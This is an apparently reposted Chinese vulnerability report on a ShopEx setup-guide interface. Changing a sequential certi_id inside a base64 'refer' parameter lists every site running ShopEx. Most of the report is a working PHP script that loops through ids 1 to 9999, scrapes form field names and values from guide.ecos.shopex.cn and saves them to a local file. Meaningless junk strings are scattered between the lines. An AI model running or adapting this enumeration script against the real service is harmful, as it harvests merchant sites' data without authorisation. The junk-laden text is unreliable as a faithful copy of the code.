ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
7 o& e7 I) V; ZShopEx某接口缺陷,可遍历所有网站
详细说明：
% f( U7 }: l) a8 w" j问题出现在shopex 网店使用向导页面
( g3 r4 I4 m. F* q5 U4 O! |9 u' [

5 U2 i( k+ X' g! Y; x
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=


4 e, G1 P6 S, ~- d" A& K
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

# k$ K7 t/ r4 K+ B) F6 c( g
/ A- u. r" w- Y' e
1 @& p; y, c) l/ L, X我们修改certi_id 即可遍历所有使用了ShopEx程序的网站

/ U& @0 S. g# u+ D" v4 Z5 Q! }
, q6 r2 J: b; F
<?php

                for ($i=1; $i < 10000; $i++) { //遍历
; H* j5 t& q/ J$ X1 q: X# o/ c( C
                        ShowshopExD($i);

5 k$ ~% A/ Y  r/ @; k4 x# w3 i                }

                function ShowshopExD($cid) {

! C+ P, p7 w( b; f                $url='http://guide.ecos.shopex.cn/step2.php';
  \+ K" ~8 y' |4 @  O5 P2 ^
# u7 I9 }$ Z4 e0 l) h                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
1 m* ~: u2 O. r! y% Y$ F
; n6 S+ Z3 G' i. T+ r/ J5 W% b        $url = $url.'?refer='.$refer;
" }+ B& h4 Z, o' U
        $ch = curl_init($url);
3 t5 h, t' W( Q' G  @; V
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
. P) V" L0 f* i. c7 Z& w+ G
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);
% `) O% k+ T) u; |: w8 g, D
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
% H4 {- w  h5 x" z- p# K
/ A# T) z5 n3 `, j' q        if(strpos($result,$refer))

3 h# f" |) T6 v+ M        {
: l. q4 ^$ ?" C4 l, q3 ~* I
+ D6 R& z1 J0 w                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

. R. ]5 e! U9 T- m. o1 Z0 g- [                foreach ($value[1] as $key) {
# S6 i$ e5 F' E
7 [! b' ^  y5 M                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

' X) J- L4 p6 h. J* H9 K0 l                        echo $res[1][0].':'.$res[3][0]."\r\n";
# ~4 G0 v  I/ ?" y$ ?, _  K
, A# e1 c) _+ c+ c0 _) l# `                        $col =$res[1][0].':'.$res[3][0]."\r\n";
, Z; r# e, K& Q; S
                        fwrite($fp, $col, strlen($col));

                }

                echo '--------------------------------'."\r\n";

                fclose($fp);
6 E7 E; r6 t0 r2 Q
) C2 K/ W7 ]* P4 ?( y! N        }

  u% N7 S" w% x5 s3 [! g8 n7 o" \        flush();
3 Y6 d. b5 d4 h5 C2 [
4 r0 R. \( D* @9 G- r; ~        curl_close($ch);

                }
/ v9 A+ Y; c5 `+ b+ {7 ^& b, n+ w% T
: m9 V6 A3 w5 U! a$ N- p/ c: ~9 V?>
' j4 r6 N2 g2 p; V* {  u漏洞证明：
1 p9 `: D( l: ]5 [http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式